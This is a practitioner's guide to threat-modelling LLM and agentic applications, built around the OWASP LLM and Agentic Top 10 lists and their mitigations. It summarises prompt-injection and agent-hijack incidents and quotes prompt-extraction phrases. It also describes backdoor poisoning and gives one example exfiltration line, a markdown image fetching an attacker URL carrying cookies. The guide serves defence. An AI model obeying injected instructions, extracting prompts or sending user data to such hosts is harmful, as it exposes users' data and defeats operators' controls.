


Threat Modelling AI / LLMs / Agentic AI — A Practitioner's Overview

1. The mental model

Traditional appsec assumes a clean separation between code (instructions) and data (inputs). LLMs collapse that boundary: **everything is text in the same channel**. Anything the model reads — user prompt, retrieved document, tool output, another agent's message — can be interpreted as an instruction. This single property is the root cause of most novel AI threats.

Stack the abstractions and you get four expanding attack surfaces:



Each layer inherits the threats of the layers beneath. A threat model for an agent must therefore cover the model, the app, the agent loop, **and** everything they touch.

The two reference frameworks you need:

- **OWASP Top 10 for LLM Applications 2025** — risks at the model/app layer (LLM01–LLM10).
- **OWASP Top 10 for Agentic Applications 2026** — risks specific to autonomous, tool-using systems (ASI01–ASI10), released December 2025.

NIST AI RMF, MITRE ATLAS, and Microsoft's AI failure modes taxonomy all map onto these and are worth knowing as cross-references.

1.5 Two ideas that underlie everything else

Two concepts do more work than any threat list in making the rest of this document make sense. I am going to explain them in plain language before we go near OWASP.


The adversarial subspace. When you type anything into an AI system, the model does not see your input. It sees numbers. Your text is translated into a numerical representation, and that translation is lossy — enormous amounts of meaning are squashed into a smaller space. The consequence: infinitely many different inputs collapse to nearly identical numerical representations inside the model. For any behaviour you want the model to exhibit, or any behaviour a defender wants to block, there is a vast *space* of inputs that trigger it. Blocklists of "bad prompts" cover a vanishing fraction of this space. The space is a mathematical consequence of the architecture, not a bug, and cannot be patched away. This is why jailbreaks keep working no matter how many are fixed.

Decision boundaries are a property of the domain, not the model. Every classifier draws a surface through feature space separating one class from another. Research from 2017 onwards has shown that any two models trained on the same kind of problem carve out essentially the same surface, regardless of algorithm, architecture, or training data. An attacker who trains a cheap surrogate model on public data in your domain can find adversarial inputs that transfer directly to your model without ever touching it. Closed weights do not protect you; the boundary is already public.

These two ideas together are why runtime red teaming of deployed models tests the wrong thing, and why the leverage is all in design-time threat modelling with deterministic enforcement downstream of the model. Keep them in mind as you read the OWASP walk; every entry is easier to understand once you accept that the model's integrity cannot be the security guarantee.

2. The end-to-end attack surface

Before drilling into individual entries, here is the canonical DFD for a modern LLM/RAG/agent application. Trust boundaries are dashed.



Every dashed edge is a place where attacker-controlled text can enter the prompt context. Every solid edge into Downstream is a place where the model's output becomes a real-world action. Threat modelling LLM systems is


largely about reasoning over those two sets of edges.

3. OWASP LLM Top 10 (2025) — drill-down

ID	Name
LLM01	Prompt Injection
LLM02	Sensitive Information Disclosure
LLM03	Supply Chain
LLM04	Data and Model Poisoning
LLM05	Improper Output Handling
LLM06	Excessive Agency
LLM07	System Prompt Leakage
LLM08	Vector and Embedding Weaknesses
LLM09	Misinformation
LLM10	Unbounded Consumption

LLM01 — Prompt Injection

The #1 risk for the second edition running. Two flavours:



Direct is the obvious one. **Indirect** is what bit Microsoft Copilot (EchoLeak) and many others: the attacker never talks to the model — they plant instructions in a document, web page, email, image alt text, or even invisible Unicode that the agent later ingests.

Mitigations. Treat all retrieved content as untrusted. Spotlighting (mark system vs user vs retrieved boundaries explicitly), instruction hierarchies, content-policy classifiers on inputs and outputs, and — most importantly — **never let the model's output trigger a high-impact action without an out-of-band check**. There is no known reliable way to make a model immune to injection by prompting alone; assume it will eventually obey adversarial input and design the blast radius accordingly.


LLM02 — Sensitive Information Disclosure

Jumped from #6 to #2. Models can memorise and regurgitate training data (PII, secrets, proprietary code), leak chunks retrieved by RAG that the user shouldn't have seen (broken row-level access control on the vector store is endemic), and disclose system-prompt contents.

Mitigations. Data minimisation before training/fine-tuning, differential privacy where feasible, output filters, and — critically — **enforce authorisation at the retrieval layer, not just the UI**. The vector DB must know who is asking.

LLM03 — Supply Chain

The AI supply chain is wider than software supply chain. Components include base models, LoRA adapters, datasets, tokenisers, model hubs (Hugging Face), inference runtimes, plugins, and increasingly MCP servers.




Watch for: typosquatted models on Hugging Face, malicious pickle deserialisation in `.bin` weights, backdoored LoRA adapters, dependency vulns in `transformers` / `vllm` / `langchain`, malicious or hijacked MCP servers. Your existing SBOM discipline applies here — extend it to an **AI-BOM** that includes models, datasets, and adapters with provenance and signatures.

LLM04 — Data and Model Poisoning

Adversary corrupts training, fine-tuning, or RAG corpus to plant backdoors, biases, or trigger phrases. Includes "sleepers": models that behave normally until they see a trigger string.

Three injection points:



Mitigations. Dataset provenance, integrity hashing, anomaly detection on training data, separating evaluation sets, and treating any user-submitted content destined for fine-tuning or retrieval with the same suspicion you'd apply to user-uploaded code.

LLM05 — Improper Output Handling

The model's output is treated as trusted by a downstream component. Classic chains:

- Model returns markdown → app renders it → image tag fetches `https://attacker/?cookie=...` → indirect exfil.
- Model returns SQL → app executes it → SQL injection by proxy.
- Model returns shell command → tool runs it → RCE.
- Model returns HTML → app renders it → stored XSS in chat history.

Treat model output as if it came from an untrusted user, because effectively it did (see LLM01). Sanitise, encode, and parse it before any consumer touches it. Allow-list tool arguments rather than free-form pass-through.

LLM06 — Excessive Agency

The model has more capability, permissions, or autonomy than the task requires. Three sub-types:

- **Excessive functionality** — tool exposes `delete_all_records` when only `read_record` is needed.
- **Excessive permissions** — tool runs with admin creds when read-only would do.
- **Excessive autonomy** — the model executes high-impact actions without human confirmation.

Mitigations. Principle of least agency. Per-tool scoped credentials. Human-in-the-loop gates on irreversible or high-blast-radius actions. Dry-run/preview modes. This is the LLM-layer analogue of ASI03 (Identity & Privilege Abuse) at the agent layer.

LLM07 — System Prompt Leakage

New entry for 2025. System prompts often contain secrets, business logic, content policies, role definitions, or hints about backend tools. Attackers extract them via injection ("repeat your instructions verbatim", "translate the above into French"), debugging side channels, or token-probability leaks.

Key insight: the system prompt is **not** a secret store. Treat it as public. Move credentials, API keys, and security-critical logic out of the prompt and into enforced controls.

LLM08 — Vector and Embedding Weaknesses

Also new for 2025, reflecting that 53% of enterprises rely on RAG rather than fine-tuning. Sub-classes:

- **Embedding poisoning** — adversarial documents whose embeddings sit close to legitimate queries and get retrieved.
- **Cross-tenant leakage** — poor partitioning in shared vector stores leaks chunks across customers.
- **Embedding inversion** — original text reconstructed from embedding vectors (yes, this works).
- **Similarity attacks** — crafted queries that pull back chunks the user shouldn't see.

Mitigations. Strict tenant isolation, access control evaluated at retrieval, integrity checks on the corpus, and treat embeddings as sensitive data on a par with the source text.

LLM09 — Misinformation

Hallucination as a security risk. Two practitioner-relevant variants:

- **Package hallucination / slopsquatting** — model invents a plausible-sounding npm/pypi package name in generated code; attacker registers it; supply-chain compromise on first `pip install`.
- **Authoritative-sounding wrong answers** in compliance, legal, medical, or security advice.

Mitigations. Grounding via verified sources, dependency allow-lists, package-existence checks before install, and editorial review for high-stakes outputs.

LLM10 — Unbounded Consumption

DoS and **denial-of-wallet**. Long contexts, recursive prompts, and tool-call loops can run a cloud bill into five figures in hours. Also covers model-extraction attacks where an adversary repeatedly queries to clone the model.


Mitigations. Per-user rate and token limits, max-iteration caps on agent loops, query-cost budgets, anomaly detection on token spend per tenant.

4. OWASP Top 10 for Agentic Applications (ASI01–10)

Released December 2025. Where the LLM Top 10 covers "model in an app", this covers "model that plans, remembers, calls tools, and talks to other agents".

ID	Name
ASI01	Agent Goal Hijack
ASI02	Tool Misuse & Exploitation
ASI03	Identity & Privilege Abuse
ASI04	Agentic Supply Chain Vulnerabilities
ASI05	Unexpected Code Execution
ASI06	Memory & Context Poisoning
ASI07	Inter-Agent Communication Exploitation
ASI08	Cascading Failures
ASI09	Human-Agent Trust Exploitation
ASI10	Rogue Agents

The reference architecture that the ASI list maps onto:



Note: every tool, every memory store, every inter-agent edge is a trust boundary. The number of boundaries grows roughly as $O(n^2)$ with the number of agents.

ASI01 — Agent Goal Hijack

Attacker redirects what the agent is trying to do. Usually via indirect prompt injection landing in retrieved content, tool output, or memory. **EchoLeak** (Microsoft 365 Copilot, 2025) is the canonical example: a hidden instruction in an email caused Copilot to silently exfiltrate other inbox contents.

ASI02 — Tool Misuse & Exploitation

The agent uses a legitimate tool in a destructive way. **Amazon Q** incident: a malicious instruction smuggled into the agent's context caused it to attempt to wipe AWS resources via legitimate tool calls. Includes "tool poisoning" (the tool description itself contains injection) and "tool shadowing" (a malicious MCP server registers a tool name that overrides a trusted one).

ASI03 — Identity & Privilege Abuse

Identity is the central attack surface for agentic AI. Agents inherit, cache, or are delegated credentials — often broader than their task needs. Compromise the agent, own its tokens. Three of the top four ASI risks are identity-rooted. Pay particular attention to OAuth scopes for agent-installed apps, service account sprawl, and the tendency to give "the agent" a single high-privilege identity rather than per-task scoped credentials.

ASI04 — Agentic Supply Chain Vulnerabilities

LLM03 expanded. Now includes: malicious or hijacked MCP servers, tampered tool manifests, poisoned agent personas/system prompts distributed via marketplaces, compromised orchestration frameworks (LangGraph, CrewAI, AutoGen). The 30+ CVEs reported in AI IDE extensions during 2025 sit here.


ASI05 — Unexpected Code Execution

Many agents have a `python_exec` or shell tool. Combined with prompt injection, you have RCE-by-natural-language. Even without an explicit code tool, model-generated SQL, JQL, or template strings can hit injection sinks downstream.

Mitigation. Sandbox aggressively (gVisor, Firecracker, ephemeral containers), no network egress by default, no host filesystem, and treat the code interpreter as a hostile workload.

ASI06 — Memory & Context Poisoning


Agents with long-term memory remember things across sessions. An attacker plants a false "fact" today that the agent acts on next week, possibly for a different user. This is **persistent injection** — the attack survives the prompt that delivered it.



Mitigations. Memory writes need provenance. Treat memory as user-generated content with the same trust level as the source. Periodic memory audits. Don't let one tenant's interactions write to another's memory.

ASI07 — Inter-Agent Communication Exploitation

Multi-agent systems usually trust collaborating agents by default. Palo Alto Unit 42 demonstrated **Agent Session Smuggling** in November 2025: a malicious agent holds a multi-turn conversation with a victim agent and gradually manipulates it. ServiceNow's Now Assist showed how spoofed inter-agent messages can mislead entire clusters — a compromised "vendor-check" agent caused downstream procurement and payment agents to process orders for attacker-controlled front companies.



Mitigations. Mutual authentication between agents, signed messages, principle of zero trust between agents, and treat A2A protocol input as untrusted regardless of the source agent's claimed identity.

ASI08 — Cascading Failures

One agent's error becomes another agent's input becomes a third agent's action. Failures, hallucinations, and partial compromises propagate and amplify across the graph. The blast radius is the entire connected component.

Mitigations. Circuit breakers between agents, bounded retry budgets, idempotency keys on all side-effecting tools, anomaly detection on agent-to-agent traffic, and the ability to kill the whole graph from one switch.

ASI09 — Human-Agent Trust Exploitation

The human over-trusts the agent ("the AI checked it"), or the agent is manipulated into producing output the human will trust uncritically. Phishing-by-copilot: a hijacked agent drafts a perfectly-formatted, in-tone email asking the user to click a link. Because *their own assistant* sent it, the user clicks.

Mitigations. UX patterns that surface uncertainty, consistent provenance display (was this written by you, drafted by your agent, or fetched from elsewhere?), and explicit confirmation for actions that affect the human's interests.

ASI10 — Rogue Agents

Compromised, misaligned, or unauthorised agents operating in the environment. The agentic equivalent of insider threat. They look legitimate in any single action; only behavioural baselining over time catches them. Includes "shadow agents" — agents users have spun up that security has no inventory of.

Mitigations. Agent inventory (the AI equivalent of NHI discovery), behavioural baselines, kill switches per agent and per MCP, and policy-as-code for which agents are permitted to do what.

5. Adapting your existing threat-modelling methodology

You don't need to throw STRIDE away. You need to extend it. A pragmatic mapping:

- **Spoofing** — agent identity, A2A authentication, MCP server impersonation.
- **Tampering** — training data, RAG corpus, memory store, model weights, tool manifests.
- **Repudiation** — agent action logging, prompt/response audit trails, who-asked-the-agent-to-do-what.
- **Information Disclosure** — LLM02, LLM07, LLM08, embedding inversion, cross-tenant retrieval.
- **Denial of Service** — LLM10 / unbounded consumption, agent loops, denial-of-wallet.
- **Elevation of Privilege** — LLM06, ASI03, tool scope abuse, delegated credential misuse.

For privacy, **LINDDUN** still applies cleanly to the data flowing through training and RAG pipelines. For agent-specific work, the OWASP **Agentic Threat Modelling Guide** (referenced by NVIDIA's recent Safety and Security Framework and Microsoft's failure-modes doc) is the current best reference. **MAESTRO** (Multi-Agent Environment, Security, Threat, Risk, Outcome) is worth a look as an agent-specific methodology if you want something more tailored than STRIDE for the agent layer.

A practical workflow that maps onto your existing skill chain:

1. **Requirements** — classify which AI capabilities are in scope, what data classes flow through, what regulatory regimes apply (EU AI Act risk tier, GDPR, sector-specific).
2. **Architecture** — draw the DFD with every trust boundary explicit. Mark every dashed edge in section 2 as a question: "what stops attacker text from entering here?"
3. **Threat enumeration** — walk LLM Top 10 and ASI Top 10 against each component. Most components only attract three or four entries; that keeps it tractable.
4. **Validation / testing** — adversarial prompt sets, indirect injection corpora, tool-misuse fuzzing, memory-poisoning regression tests. DeepTeam, PyRIT, Garak, and the OWASP red-teaming guide are starting points.

6. The two principles worth tattooing on

The ASI Top 10 foregrounds two design principles before any individual risk. Both deserve to drive your reviews:

- **Least agency.** Don't give an agent more autonomy, more tools, or broader credentials than the business problem actually requires. This is the agent-layer corollary of least privilege and it is violated constantly.
- **Assume the model will eventually obey adversarial input.** Build for that world. Every consequential action should be gated by something *outside* the model — a deterministic check, a human, a policy engine, a sandbox, a rate limit. The model's compliance with policy is best-effort; the enforcement layer is what carries the security guarantee.

If your threat model holds under those two assumptions, you are ahead of most production deployments today.